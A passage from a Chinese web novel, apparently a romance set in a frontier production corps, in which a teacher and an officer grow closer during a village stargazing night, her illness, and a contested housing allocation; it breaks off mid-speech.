秋高气爽,舒染有时会把课堂搬到室外,让孩子们坐在修整过的路边树荫下,虽然树苗投下的影子还很小,但还是能遮阴。孩子们看着大人们忙碌的秋收景象,学习“颗粒归仓”、“辛勤劳动”。知识就这样与身边的生活融合在一起。 陈远疆的身影也愈发自然地融入舒染所在的场景中。 这天傍晚,舒染送走了最后一个孩子,正准备回地窝子,看见陈远疆站在那排新栽的白杨树苗旁,正弯腰给一棵有些歪斜的树苗培土。 他的动作很仔细,一边扶着纤细的树干,一边用脚将周围的土踩实。 舒染静静地看着。直到他忙完直起身,才走过去。 “陈特派员,忙完了?”她语气轻松。 陈远疆闻声回头,看到是她,眼神柔和了些许,点了点头:“嗯。这棵树有点不稳,怕经不住风。” “有你看着,它们肯定能长好。”舒染笑着说,递过去自己的手帕,“擦擦汗吧。” 陈远疆看着那块干净的手帕,犹豫了一下,没有接,而是抬手用袖子抹了把额角:“不用,脏。” 舒染也不勉强,收回手帕,和他并肩看着那排小小的树苗。 “等这些树长大了,夏天就能在这里乘凉,孩子们也有地方玩了。”舒染憧憬着。 “嗯。”陈远疆应了一声,目光望向远处,炊烟袅袅,新房的轮廓在暮色中显现出来,“会越来越好的。” 舒染侧头看他,她忽然觉得,这个秋天,不仅连队的环境在变,她和这个男人之间,某种东西也在悄然生长。 “是啊,”她轻声附和,“会越来越好的。” 两人静静地站了一会儿,直到夕阳沉入地平线。晚风拂过,带着凉意和新翻泥土的气息。 “回去吧,起风了。”陈远疆低声说。 “好。”舒染点点头。 两人一前一后,踏着修整过后平坦了许多的土路,向着地窝子的方向走去。 第96章 秋意渐深, 戈壁滩的夜晚来得早了些,天空却显得格外高远清澈。 连队的生活按部就班,却又在细微处持续变化。那几间新落成的干打垒土坯房已经有人家搬了进去, 修整过的道路两旁,小白杨树苗在秋风中挺立。 这天傍晚, 舒染在教室里批改完最后一摞作业,揉了揉有些发涩的眼睛。窗外最后一抹霞光正在褪去。 “舒老师,还没回去?”林雪舟的声音从门口传来。他手里拿着几本书和一卷图纸, 看样子也是刚忙完。 “正要走。”舒染站起身,活动了一下僵硬的脖颈,“林老师也忙到这么晚?” “整理了一些天文星图的资料,”林雪舟取下眼镜, 一边擦拭镜片, 一边若有所思地看着窗外。 “舒老师, ”他忽然开口, “你看今晚的星空, 多清晰。我记得资料上说, 我们兵团所在的纬度,观测秋季星空很有优势。” 舒染抬起头, 顺着他的目光看向窗外。天空上星辰密布,确实比她在21世纪的城市里看到的要壮丽得多。 “是啊, 很美。”她由衷赞叹。 林雪舟戴上眼镜,“我在想, 是不是可以给孩子们组织一次观星活动?普及一些基础的天文知识。比如认识北斗七星、北极星, 讲讲它们对于辨认方向的意义。这既是科学常识,也很有实用价值。” 他想了想,又补充道, “当然,前提是确保安全,选择晴朗无风的夜晚,组织好人员。” 舒染眼睛一亮。这个提议很好,不仅能开阔孩子们的眼界,将学习从课本延伸到自然科学,也确实有实用价值。 “这个想法太好了,林老师!”舒染兴致勃勃,“我们好好计划一下。得选个合适的时间,还得跟连里报备,确保安全。王大姐那边也可以请她帮忙组织一下家属,有兴趣的都可以来听听。” “嗯,”林雪舟得到肯定,脸上也露出了笑容,“我可以准备一些简单的星图,画在黑板上,或者刻印出来。” 两人又讨论了一些细节,比如如何组织孩子确保安全,观星时讲解哪些相关的神话传说或科学知识更能吸引他们。 正说着,教室门又被推开,陈远疆走了进来。他似乎是例行夜巡,目光先在舒染脸上停留一瞬,随即落到摊在桌上的星图和林雪舟身上。 “陈特派员。”林雪舟打招呼。 陈远疆点了点头,走到桌边,目光扫过那些图纸:“这是?” “林老师准备组织孩子们观星,认识天文。”舒染解释道,“很有意义的活动。” 陈远疆的视线在图上停留片刻,又看向林雪舟,眼神里少了几分以往的审视,多了些认可:“后天晚上?需要安排人维持秩序,确保安全。” 他这话是对着林雪舟说的,带着一种公事公办的态度。 林雪舟有些受宠若惊,连忙道:“谢谢陈特派员!有保卫队的同志在,那就更稳妥了。” 陈远疆“嗯”了一声,没再多说,目光转向舒染:“天黑了,回吧。” 舒染对林雪舟道:“那林老师,我们就按计划准备。这资料我先拿回去看看。” “好。”林雪舟将图纸卷好递给舒染。 舒染和陈远疆一同走出教室。夜的凉意瞬间包裹上来,舒染下意识地拢了拢衣领。 陈远疆很自然地走在她外侧,两人沉默地走了一段。 “观星,是个好主意。”陈远疆忽然开口。 “是啊,”舒染侧头看他,“林老师在这方面很专业。” 陈远疆没有接林雪舟的话茬,而是转而问道:“你……对星星了解多少?” 舒染笑了:“不多。你呢?你们在野外,会靠星星辨认方向吧?” “嗯。”陈远疆应道,抬头望向已经开始有些深邃的夜空,“北斗,北极星,还有那个,”他抬手指向一个方向,“像 W 形状的,是仙后座。” 舒染顺着他指的方向看去,努力辨认着。夜空清澈,那些遥远的光点确实比在城市里看到的清晰许多。 “哪里?我看不太清……”舒染眯着眼,微微歪着头。 陈远疆停下脚步,站到她身侧,靠得更近了些,他的手臂几乎挨着她的肩膀,抬手再次指向那个方位,“那边,那几颗比较亮的,连起来看……” 他靠得很近,舒染不仅能闻到他身上淡淡的皂角气味,还能听到自己的心跳。她顺着他指引的方向,终于隐约看到了那个模糊的“W”形状。 “好像……看到了。” 陈远疆低下头,能看到她仰望星空的侧脸,他收回手,稍稍拉开了些许距离。 “以后晚上出门,认准北极星,就不会迷路。”他语气恢复了一贯的沉稳。 “记住了,陈老师。”舒染转过头,对他开起玩笑。 陈远疆明显愣了一下,随即有些不自在地别开脸,“嗯”了一声,加快了脚步:“快走吧,风大了。” 舒染看着他仓促的背影,嘴角的笑容加深,抬步跟上。 舒染第二天就把观星活动的想法跟刘书记和王大姐说了。 刘书记对这类能增长知识、又不耽误太多生产的事情乐见其成,大手一挥:“好事!让孩子们和大人都看看星星,长见识!安全问题上,让陈特派员多费心。” 王大姐更是拍手赞成:“这主意好!晚上没啥事,大家凑一起看看星星,听听学问,比窝在家里强!我去跟各家各户说道说道,保准不少人来!”她自从当了妇女代表,组织起这类活动格外有劲头。 消息很快传遍了连队。孩子们兴奋极了,围着舒染和林雪舟问东问西。 “老师,星星上面有人吗?” “北斗七星真的像勺子吗?” “看了星星就能不迷路?” 大人们也被勾起了兴趣。许君君跑到学校,拉着舒染的手:“染染,这活动算我们卫生室一个!我提供后勤保障,准备点驱蚊的草药,再烧几锅热水给大家暖暖身子。” 李秀兰也主动开口:“舒老师,我……我晚上没啥事,能去帮忙看着小点的孩子吗?我还可以带点豆腐渣饼子,给大家当零嘴。”她眼神里带着渴望,似乎很想融入这集体活动。 舒染看着身边这些因为一个简单的提议而活跃起来的人们,心里充满了暖意。在艰苦的环境中,这些人依然对知识和美好的事物抱有热情。 观星活动的日子到了。 傍晚时分,太阳还没完全落山,王大姐就带着几个手脚麻利的妇女,把一片已经被陈远疆带人提前清理过的戈壁滩扫得干干净净,甚至还搬来了几块平整的大石头当座位。 许君君带着舍友小玲和红梅,支起了简易的摊子,上面放着烧好的热水、几个军用水壶,还有一小堆她特意找来的有驱蚊效果的干草,准备到时候点燃。 李秀兰提着一个篮子来了,里面是她用豆腐渣混合着少量玉米面烙的饼子,满是豆香,她有些不好意思地放在许卫生员的摊子旁边。 孩子们是最兴奋的,早早吃了饭,就被大人领着,或自己跑跳着来到了场地。 石头俨然成了孩子王,帮着维持秩序,不让小的乱跑。阿迪力也带着妹妹阿依曼来了,兄妹俩看着越来越多的人和渐渐暗下来的天空,眼睛里充满了新奇。 林雪舟则在一块临时充当黑板的大木板前,最后检查着他用粉笔画好的简易星图,上面标注着北斗七星、北极星等几个主要星座的位置。他有些紧张,不时推一推眼镜。 天色终于完全暗了下来。深蓝色的天幕上,星星一颗接一颗地亮起,越来越密,越来越亮。大人孩子们都自发地安静下来,仰着头看这银河浩瀚。 舒染站在人群边缘,也忍不住轻叹这星空的壮美。这无污染、无光害的星空,是她在21世纪从未见过的景象。 就在这时,一个脚步声在她身边停下。 舒染不用回头,也知道是谁。 陈远疆来了。他穿着整齐的军装,没有戴帽子,身形依旧挺拔。他没有看舒染,先扫视了一圈周围的环境,确认他安排的民兵都在预定位置警戒着,然后才抬起头,望向星空。 “人都到齐了。”他低声对舒染说了一句,算是交代。 “嗯。”舒染应了一声。 这时,林雪舟走到了场地中央,清了清嗓子,开始讲解了。他指着星图,又指向天空,努力用通俗的语言介绍着北斗七星和北极星。 “……大家看,那像一把勺子的七颗亮星,就是北斗七星。顺着勺口的两颗星延伸出去,大概五倍的距离,那颗比较亮的、几乎不动的星星,就是北极星。它几乎正对着地球的北极,所以在野外,找到北极星,就能大致判断出北方……” 孩子们仰着小脸,努力在密密麻麻的星星中寻找着“勺子”和“北极星”,不时发出“找到了!”“在那里!”的惊呼。大人们也听得津津有味,互相指点着。 王大姐一边听,一边不忘照看着几个乱跑的小豆丁,许君君适时地点燃了干草药,李秀兰悄悄把豆腐渣饼子分给身边的孩子。 舒染站在陈远疆身边,偷偷侧目看他,发现他也在专注地看着星空,眼神悠远。 林雪舟的讲解在继续,介绍着牛郎织女的传说,引来孩子们一阵遐想。 星空之下,气氛很好。 陈远疆却微微侧过头,用只有两人能听到的声音对舒染说:“这里视野还不是最好。我知道一个地方,看星星更清楚。” 舒染心中一动,看向他。 他的目光依旧看着前方,仿佛只是随口一提。 第97章 林雪舟的讲解告一段落, 开始引导大家自由观察,辨认刚才学到的星座。孩子们兴奋地聚在一起指指点点,大人们也三三两两议论着。 陈远疆就在这时, 不动声色地碰了一下舒染的手臂。 舒染会意,趁着众人的注意力都在星空上, 悄悄跟着他,离开了那片热闹的场地。 陈远疆没有走远,只是带着她绕到了场地旁边一个稍高些的土坡后面。这里依然在警戒范围之内, 能听到不远处传来的模糊人声,但又自成一片静谧天地。 坡地挡住了那边的大部分光线,星空显得更加浩瀚,银河仿佛就悬在头顶。 “这里果然更清楚。”舒染仰望着星空, 由衷赞叹。夜风拂过, 带着戈壁秋夜的凉意, 她下意识地拢了拢衣领。 陈远疆没说话, 只是默默脱下自己的军装外套, 递了过来。 舒染愣了一下。 “不用, 我不冷。”她推拒。 陈远疆的手没有收回,语气带着坚持:“天凉, 风大。” 舒染犹豫了一下,最终还是接了过来。外套还带着他的体温, 一股淡淡的皂角味包裹住她,驱散了周身的寒意。 “谢谢。”她低声道, 将外套裹紧了些。 两人并肩站在土坡上, 一时无话,只是静静地仰望着漫天繁星。远处隐约传来孩子们找到北极星的欢呼声,更衬得此处的宁静。 过了好一会儿, 陈远疆忽然开口:“我小时候,也经常这样看星星。” 舒染看向他,没有说话。 “不过,不是在这里。”他顿了顿,目光有些飘渺,仿佛在回忆,“是在更西边,天山脚下的草场。那里的星空,比这里……感觉还要低。” 他的语气很平淡,但舒染捕捉到了一丝不同寻常的意味。 她想起了兵站老班长的话——“跟在老首长马后头,汉话都说不利索”。 “是在……家里吗?”舒染轻声问,问得小心翼翼。 陈远疆沉默了片刻,侧过头看她。 “嗯。”他应了一声,算是承认。 他转回头,继续看着星空,声音更低沉了几分,“我父母是牧人。他们会在这样的星空下,告诉我哪颗星指引方向,哪颗星预示着风雪。” 舒染屏住了呼吸。这是他第一次主动提及自己的身世,提及他那神秘的少数民族背景。 陈远疆沉默了很久,久到舒染以为他不会再说了。 “后来……有一次,很大的暴风雪,迷路的勘探队……他们去找,再也没回来。”他的声音干涩,“勘探队里,有后来收养我的老首长。” “后来呢?”舒染轻声问。 “后来,我跟着老首长去了北京,读书,学汉语,有了新的名字——陈远疆。” 他缓轻轻叹了一口气,“但我总觉得,我的魂,有一半留在了那片牧场,留在了边疆。” 舒染终于明白,兵站老班长的叹息,陈远疆对这片土地的感情,以及他为何放弃北京的生活,执意回到这艰苦的边疆。 这里埋葬着他的过去,和他永远无法弥补的遗憾。 她不知道该说什么安慰的话,只是默默伸出手,轻轻覆盖在他紧握成拳的手背上。 陈远疆的身体猛地一僵,似乎想抽回手,但最终他没有动。他紧握的拳头,在她的掌心下,一点点地松开了。 过了许久,陈远疆才再次开口,声音已经恢复了平日的沉稳:“那座没有碑的坟,下面埋着的,是我母亲生前最喜欢用的一条马鞭,和我父亲留下的一顶旧皮帽。我每年都会去看看。” 舒染想起了来时路上,他在那座无名石坟前的驻足。原来如此。 她轻轻“嗯”了一声,表示知道了。 她的手依旧覆在他的手背上。他没有推开,她也没有收回。 观星活动圆满结束。孩子们心满意足地跟着大人回家,小脸上还带着兴奋,嘴里讨论着北斗七星和北极星。王大姐和许君君指挥着人收拾场地,李秀兰也帮着把没吃完的饼子收好。 林雪舟看着散去的人群,长舒了一口气。这次活动,让他真正感受到了将知识传播出去的成就感,也似乎更理解了舒染的所作所为。 他看到舒染和陈远疆一起从土坡后面走出来,舒染则披着陈远疆的军装外套。 林雪舟推了推眼镜,心里那点因为伯父到来而产生的比较心,在此刻彻底消散了。他明白,有些界限,早已分明。 陈远疆和舒染没有过多交流,他自然地接过舒染递还的外套穿上,低声说了句“我再去巡查一圈”,便转身离开了。 舒染看着他的背影融入夜色,心里充满了复杂的情绪。有为他过往的心疼,也有对他的敬佩。 回到女工宿舍,许君君立刻凑了上来,挤眉弄眼:“怎么样怎么样?跟陈特派员单独考察地形去了?我看他外套都给你披了!” 舒染脸上微热,嗔怪地拍了她一下:“别瞎说!就是说了会儿话。” “说话?说什么了?看他那样子,跟平时不太一样啊。”王大姐也笑着凑过来,她如今眼界开了,对这些事也乐见其成。 舒染摇摇头,关于陈远疆的身世,那是他的秘密,她不会对任何人说。她只是笑了笑,语气带着一种轻松:“没说什么特别的。就是觉得……戈壁滩的星星,真好看。” 许君君和王大姐对视一眼,都从对方眼里看到了了然的笑意。 * 观星活动后,连队上下几乎所有人都扑在了抢收上。 学校也适时调整了课程,上午集中教学,下午年纪大些、能干点活的孩子跟着家人下地,帮忙拾麦穗、掰玉米,小的则由舒染集中看管,在教室或树荫下做些简单的游戏和学习。 打谷场上,连枷起落的声音、石磙子碾压麦穗的声音、人们的吆喝声,从早响到晚。 舒染自然也没闲着。教学之余,她带着留在学校的低龄孩子,帮着食堂和王大姐她们做些力所能及的活儿,比如挑拣菜叶、烧火、照看更小的娃娃。 这天下午,她正蹲在食堂后院的水渠边,用力搓洗着一大筐沾满泥渍的萝卜,准备晚上给抢收的职工们加餐。 秋日的阳光依旧有些烈,晒得她额头冒汗,碎发黏在颊边。 一个军用水壶忽然递到了她眼前。 舒染抬起头,逆着光,看到陈远疆站在旁边。他应该是刚从地里回来,裤腿上溅满了泥点,额头上也有汗。 “歇会儿,喝点水。”陈远疆突然想起了什么,又补充了一句:“这个是干净的新水壶。” 舒染没有客气,接过水壶,拧开盖子喝了几口。水是温的,带着一点淡淡的甘草味,很解渴。 “谢谢。”她把水壶递还回去,用手背抹了把额角的汗。 陈远疆接过水壶,没有立刻离开,目光落在她泡得有些发白的手指和那筐待洗的萝卜上 “这些活儿,让后勤的人干就行。”他说道,语气里听不出什么情绪。 舒染笑了笑,继续拿起一个萝卜搓洗:“大家都忙,我能做一点是一点。再说了,这萝卜洗干净了,晚上大家就能多吃一口。” 陈远疆没再说什么,转身走到水渠上游,弯腰,就着流动的渠水洗了把脸。 然后他走回来,一言不发地挽起袖子,在舒染旁边的空地上蹲下,拿起一个沾满泥的大萝卜,学着她的样子,在水里用力搓洗起来。 他看起来不常做这类活,但手上的力道很大,搓得萝卜皮哗哗作响。 舒染愣了一下,“陈特派员,你这……”她下意识地想阻止。 “顺手的事。”陈远疆头也没抬,打断了她,像在完成一项突击任务。 舒染看着他别扭又坚持的样子,把到嘴边的话咽了回去。她没有再说话,只是默默地加快了手里的动作。 两人就这样并排蹲在水渠边,沉默地洗着萝卜。 偶尔有路过的职工看到这一幕,都忍不住多看两眼,眼神里带着惊奇和探究。陈特派员居然在帮舒老师洗萝卜?这可真是新鲜事! 陈远疆对那些目光视若无睹,只是埋头干活。舒染则坦然得多,偶尔抬头对路过的人笑笑,算是打招呼。 一筐萝卜很快见了底。陈远疆站起身,甩了甩手上的水珠。他没看舒染,只留下一句:“我再去地里看看。”便大步流星地走了。 舒染看着他的背影,又低头看看那筐被洗得干干净净的萝卜,终于忍不住笑了笑。 这个男人,表达关心的方式,真是独一无二。 “哎,你们看见没?下午陈特派员帮舒老师洗萝卜呢!”晚饭时分,这消息在食堂和宿舍间悄悄传开了。 “真的假的?陈特派员那冷面神,还能干这个?” “我亲眼看见的!两人就蹲在水渠边,都没说话,可那样子……” “舒老师就是有本事!连陈特派员都能请动!” 许君君端着饭碗凑到舒染身边,用胳膊肘碰碰她,压低声音:“行啊染染!进展神速啊!都一起劳动了!” 舒染脸上微热,夹了一筷子炒萝卜丝,故作镇定:“别瞎说,陈特派员就是路过,顺手帮个忙。” “顺手?”王大姐也笑眯眯地凑过来,“我可没见他对别人这么顺手过。舒老师啊,陈特派员这人,看着冷,心里热乎着呢!是个靠得住的!” 连李秀兰都附和道:“舒老师,陈特派员人挺好的。” 舒染被她们打趣得有些招架不住,只能埋头吃饭。 林雪舟坐在不远处,安静地吃着饭,听着周围的议论,也推了推眼镜笑了笑。 连续高强度的抢收,加上早晚温差大,舒染终究还是有点撑不住,发起低烧,嗓子也哑了。但她没声张,照常上午上完课,下午忍着头晕,想去帮忙。 “你给我回去躺着!”王大姐在食堂门口把她拦了下来,语气不容置疑,“脸色这么差,还硬撑什么?学校那边有林老师盯着,孩子们也懂事,不用你操心!” 许君君给她量了体温,塞给她几片药:“低烧,疲劳过度。回去睡觉,多喝水!不然我报告连领导,强制你休息!” 舒染知道自己这状态确实帮不上忙反而可能添乱,只好听话地回了女工宿舍。 地窝子里有些阴凉,她裹着被子昏昏沉沉地睡着,半梦半醒间,只觉得口干舌燥,浑身酸痛。 不知过了多久,她隐约听到门口有响动。她挣扎着睁开眼,屋里光线昏暗,已是傍晚。 宿舍里其他人都还没回来。她看到门口的地上,放着一个的搪瓷缸子,缸口还冒着热气。 她有些疑惑,强撑着起身,走过去拿起缸子。入手是温热的,刚刚好入口的温度。掀开盖子,一股带着香油味的甜香扑面而来。 缸子里是絮状漂浮的鸡蛋茶,汤水里能看到些许未完全融化的冰糖晶亮,汤面上飘着几滴香油油花。 鸡蛋茶!这在缺医少药的年代,尤其是对嗓子不适的人来说,简直是润喉滋补的佳品。鸡蛋金贵,冰糖和香油更是稀罕物。 会是谁?许君君?王大姐?李秀兰?不会是她们,她们会把鸡蛋茶直接端进地窝子。 舒染端着搪瓷缸,心里疑惑。她走到门口,向外望去。远处打谷场依旧人声鼎沸,近处却不见人影。 她的目光下意识地投向连部方向,又看向陈远疆通常巡逻会经过的那条路,空无一人。 她端着那缸温热的鸡蛋茶回到床边,心里已经有了猜测。除了他,还有谁会如此细心地弄来这些稀罕东西,用这种不露痕迹的方式关心她? 她小心地喝了一口。蛋花滑嫩,糖水清甜,带着香油的醇香滑过干痛的喉咙,瞬间缓解了那火烧火燎的感觉。 她喝完最后一口,她将搪瓷缸洗干净。这时,王大姐和许君君她们也下工回来了。 “哟,醒了?感觉好点没?”王大姐一进来就关切地问,“呀,这脸上有点血色了,嗓子还疼吗?” 许君君眼尖,看到晾在桌上的搪瓷缸,拿起来看了看,又凑到舒染身边,轻轻嗅了嗅她身上残留的淡淡香油和甜味,脸上露出促狭的笑:“鸡蛋茶?还放了冰糖和香油?谁这么贴心啊?这可是治嗓子的好东西!这缸子……我看着倒像是陈特派员常用的那个。” 舒染脸一红,含糊道:“可能是……连里照顾病号吧。” “连里?”王大姐笑了,“今天可没听说有这个安排。冰糖和香油多金贵啊,一般病号可享受不到。这心意……啧啧。”她意味深长地看了舒染一眼。 许君君和王大姐交换了一个“果然如此”的眼神,也不再追问,只是脸上的笑意更深了。 “行了,喝了这神仙水就好生歇着。”王大姐帮她掖了掖被角,“这鸡蛋茶啊,比啥药都对症!” 舒染躺下,闭上眼睛,嘴角却忍不住弯起。 舒染的病来得快,去得也快。休息了一晚,第二天烧就退了,嗓子虽然还有些沙,但疼痛大为缓解。她重新回到了学校和工作岗位。 再见到陈远疆时,是在连部门口。他正和刘书记说着什么,神情严肃。看到舒染,他的目光在她脸上停留了一瞬,点了下头,算是打过招呼,随即又继续与刘书记交谈。 舒染也没有任何异常表现,如同往常一样,微笑着回应了他的示意,便走向学校。 午休时分,舒染在教室整理教案,陈远疆巡逻路过,在窗外驻足。 “病好了?”他隔着窗户问。 “好了。”舒染抬头,对他笑了笑,特意清了清已经好了大半的嗓子,“谢谢你的鸡蛋茶,很管用。” 她直接点破,想看看他的反应。 陈远疆显然没料到她会如此直接,愣了一下,随即有些不自然地移开视线:“……炊事班剩的鸡蛋,冰糖……是上次任务的配给。” 他试图解释东西的来源,却更显得欲盖弥彰。 舒染看着他这副口是心非、努力找借口的样子,心里觉得又好笑又温暖,却没有拆穿,只是从抽屉里拿出那个洗得干干净净的搪瓷缸,走到窗边递给他:“缸子还你。” 陈远疆接过缸子,几乎是立刻说道:“我走了。”转身就走,步伐比平时快了不少。 舒染看着他的背影,轻轻笑了起来。 就在这时,通讯员小赵跑来了,脸上带着笑:“舒老师!刘书记和马连长让你去连部一趟!” 舒染有些疑惑:“什么事?” 小赵指了指连队里新盖的那几间土坯房的方向,“连里不是又盖了几间干打垒的房子嘛!分配讨论有眉目了!”—— 作者有话说:喜报喜报!某人终于对染染敞开心扉啦!(敲锣打鼓) 第98章 舒染的心跳快了些。房子!她几乎立刻就想到了那充满土腥气的地窝子。 要是能拥有一间属于自己的独立空间, 哪怕只有几平米…… 她定了定神,对小赵点点头:“好,我马上就去。” 去连部的路上, 舒染脑子里飞快盘算。论贡献,她创办启明小学, 开展扫盲,最近还被评了兵团和师里的先进,功劳苦劳都有。论实际需要, 她是连里唯一的全职教师,备课、整理教材、批改那些用废报纸写的作业,都需要一个安静的环境。一直住在地窝子不是长久之计。 但她也有顾虑。自己成分不好是明摆着的,虽然现在大家表面上因为她的付出和领导的看重对她客气了不少, 但真到了分房子这种触及实际利益的事情上, 难保不会有人翻旧账。 而且, 连队里住房困难的人家多了去了, 老职工、拖家带口的, 哪个不比她这个单身知青更有理由? 她深吸一口气, 告诉自己:稳住,机会来了就得抓住, 但也不能吃相太难看。 连部里,刘书记和马连长都在, 烟雾缭绕。见她进来,刘书记磕了磕烟袋锅子, 脸上带着笑:“舒染同志来了, 坐。” 马连长也难得地和颜悦色:“叫你来,是商量一下新房分配的事。连里这次盖的房子不多,就五间, 都是小单间,条件也简陋。但考虑到你工作的特殊性,还有你为连队做出的贡献,尤其是这次给连队争了光,支部初步讨论,打算分给你一间。” 舒染心头一热,“感谢组织,感谢领导关心。我……我一定更好地工作,不辜负组织的信任。” 刘书记点点头:“嗯,你的成绩和困难,组织上都看在眼里。给你分房,主要是从工作需要出发。你那个教师工作,确实需要个安静地方。这也是孙处长之前提过的,要给我们基层教育工作者创造基本的工作条件嘛。” 马连长接口道:“是啊,而且你一个女同志,长期挤在集体宿舍也不方便。这事原则上就这么定了,不过……”他顿了顿,看了一眼刘书记。 刘书记接过话头,语气严肃了些:“不过,舒染啊,你要有心理准备。房子是分给你了,但连队里有些同志可能会有想法。毕竟,论资历,你比不上一些老职工;论家庭负担,你也是一个人。我们虽然做了决定,但群众工作也要做好,不能因为分房影响了团结。” 舒染立刻明白了领导的意思。这是先给她透个底,让她承情,同时也提醒她,这事还没板上钉钉,可能会有人闹,需要她自己也能立得住。 “书记,连长,我明白。”舒染抬起头,眼神坚定,“组织上能考虑我,我已经非常感激。我知道连里很多同志都困难,如果……如果最终因为其他更困难的同志需要,组织上有了新的考虑,我也绝无怨言,一切服从组织安排。”她暗示自己理解组织的难处,绝不会让领导为难。 刘书记和马连长对视一眼,眼中都流露出满意。他们就怕舒染年轻,得了消息就张扬,或者受不得委屈。 “好,你能这么想就好。”刘书记语气更缓和了,“正式名单明天一早会在连部门口公示。你先有个数,回去也准备一下,真要搬,也就是这几天的事。” “是,谢谢书记,谢谢连长。”舒染再次道谢,这才转身离开连部。 走出连部,风带着戈壁的凉意吹在脸上,舒染却觉得心头火热。 领导的话说得很明白,这事有谱,但也有变数。变数就在“群众意见”上。 她慢慢往宿舍走,心里盘算着可能会跳出来反对的人。赵卫东?他或许会觉得把房子分给一个“不直接创造粮食”的老师是浪费,但他作为领导,既然刘书记和马连长都点了头,他明面上应该不会反对,最多私下嘀咕。周巧珍那种已经调走的不算。其他眼红的……会是谁呢? 正想着,迎面碰上了刚从豆腐坊下工回来的李秀兰。李秀兰脸上红扑扑的,看到舒染,立刻凑过来,压低声音,带着掩饰不住的兴奋:“舒老师!我听说了!连里要分你一间新房?是不是真的?” 消息传得真快!舒染心里一动,面上却不露分毫,只是笑了笑:“领导刚找我谈话,说是初步有这个考虑,还没最后定呢。” “哎呀!那肯定是定了!”李秀兰比她还高兴,扯着她的胳膊,“太好了!你早该有个自己的窝了!以后你备课什么的就方便了!” 舒染看着她真心为自己高兴的样子,心里有些暖,但也没忘了提醒:“秀兰,这事还没公示,你先别声张。连里困难户多,免得……” “我懂我懂!”李秀兰连连点头,又压低声音,“不过我跟你说,你可得有点准备。我刚才回来,就听见有人在炊事班那边嘀咕,说什么‘资本家小姐倒先住上单间了’,‘咱们贫下中农苦哈哈一辈子还没捞着呢’!” 舒染眼神一凛,果然来了。她问:“知道是谁在说吗?” “好像有李大嘴他婆娘,还有机耕队那个王老五家的。”李秀兰撇撇嘴,“她们就是眼红!你别理她们!” 舒染点点头,没再说什么。 第二天一大早,连部门口的土墙上贴出了红纸黑字的公示名单。 五间房子,分配给了五个人:一个是子女多,住房尤其困难的老职工范大同;一个是因公受伤落下残疾的退伍兵孙福贵;另外两个名额给了今年刚结婚的两对知青,算是连里对知青的照顾。 而最后一个名字写着舒染,启明小学教师,因教学工作需要。 人群围得里三层外三层,都在议论着。 “老范家是该分了,一家七口挤一个地窝子,转身都难!” “孙福贵是功臣,没话说!” “咋还有舒老师?她一个人……” “啧,人家是老师,是先进,没听领导说教学需要嘛!” “需要?谁不需要?” “就是,一个姑娘家,单独住一间,像什么话……” 声音不大不小,刚好能钻进舒染的耳朵里。她站在人群外围,平静地看着那张公示。名单上有她,理由也写得很充分——“教学工作需要”。这比她预想的还要好,组织上把该扛的压力扛了过去。 她没有立刻离开,而是静静地听着那些议论。大部分人是理解或者事不关己的,但总有那么几个声音,酸溜溜的,带着明显的不服气。 她看到了李大嘴的婆娘正跟旁边的人撇着嘴:“认几个字就了不起了?就能骑到咱们头上去了?谁知道那房里晚上干啥用……” 舒染眼神扫过去,那女人接触到她的目光,声音下意识地低了下去,但眼神里的不服气却没掩住。 这时,一个声音响起:“我不服!” 众人循声望去,是机耕队的王老五,一个膀大腰圆,但也好吃懒做、喜欢占小便宜的光棍汉。他涨红着脸,指着公示榜:“凭什么分给她?她舒染才来几天?对连队有啥大功劳?不就是教几个娃娃认字吗?俺老王在机耕队开了这么多年拖拉机,没有功劳也有苦劳!俺还打着光棍呢!连个说媒的地方都没有!这房子就该分给俺这样的困难户!” 他这一嚷嚷,立刻有跟他相熟或者同样心里不平衡的人跟着起哄。 “就是!王老五说得在理!” “老师咋了?老师就不用艰苦奋斗了?老师才应该搞奉献哩!” “刘书记!马连长!这分配不公!我们要求重新评议!” 场面有些骚动起来。 舒染看着王老五那张激动的脸,心里冷笑。王老五的困难全连都知道,不是住房困难,是他个人问题困难,他好吃懒做、邋里邋遢的名声在外,附近连队的姑娘都没人愿意跟他。如今倒把这赖到没房子上了。 她没有急着站出来反驳。这个时候,她说什么都是靶子。她只是默默退后几步,站在一个不显眼的位置。 刘书记和马连长闻声从连部出来。马连长虎着脸:“吵什么吵!都围在这里干什么?不用上工了?” 刘书记则相对平静,他看了一眼王老五:“王老五同志,你有意见可以提,但要注意方式方法。分房方案是连队党支部根据实际情况,综合考虑贡献、困难程度和工作需要集体讨论决定的,不是哪一个人说了算。” “贡献?她有啥贡献?”王老五梗着脖子,“俺开拖拉机就不是贡献了?她教那几个娃娃,能多打粮食还是能多产棉花?” 马连长皱眉想呵斥,被刘书记用眼神制止了。 刘书记目光扫过众人,最后落在舒染身上,见她安静地站在那里,不争不辩,眼神清亮,心里暗暗点头。 他提高声音:“关于舒染同志的分房理由,公示上写得很清楚。启明小学是我们连队,乃至我们团、我们师的重点示范点!舒染同志的工作,不仅仅是教几个娃娃认字,她还在搞扫盲,在编教材,这些工作的重要性,上级领导多次肯定!给她分配一间独立的住房,是为了保证教学质量和后续工作的开展,这是工作的需要,也是组织的决定!” 他顿了顿,语气加重:“谁觉得自己的贡献比舒染同志大,谁觉得自己的工作比教育事业更重要,现在可以站出来,我们去师部领导面前评评理!” 这话一出,现场顿时安静了不少。去师部评理?谁敢?而且刘书记把高度提到了“教育事业”和“组织决定”上,谁再闹,就是质疑组织,质疑上级。 王老五张了张嘴,却不敢再大声嚷嚷。李大嘴婆娘也缩了缩脖子,往人后退了退。 “刘书记,马连长,我能说两句吗?” 众人看去,是舒染。她往前走了几步,站到了人群前面,面对着王老五和那些心存疑虑的人。 “舒老师,你说。”刘书记点点头。 舒染转向众人,脸是一种平静的坦诚。 “王大哥,各位叔叔婶子,大哥大姐。”她的声音不高但清晰,“我知道,把房子分给我这个来得晚、年纪轻的女同志,很多人心里不服气,觉得我不够格。” 她目光扫过众人,尤其在王老五脸上停留了一瞬:“王大哥说开拖拉机是贡献,说得对!没有机耕队的同志们辛苦耕耘,我们连队哪来的粮食丰收?在座的每一位,无论是种地的、养家畜的、赶马车的、还是在后勤岗位的,都是我们兵团建设不可或缺的力量,都是伟大的贡献者。” 她先肯定了所有人,这让一些原本中立的人脸色缓和了不少。 “我舒染,没什么了不起。能站在这里教书,是组织信任,也是大家支持。”她话锋一转,“但组织上把这间房子分给我,理由公示上也写清楚了,是教学工作需要。这不是给我舒染个人享受的。” 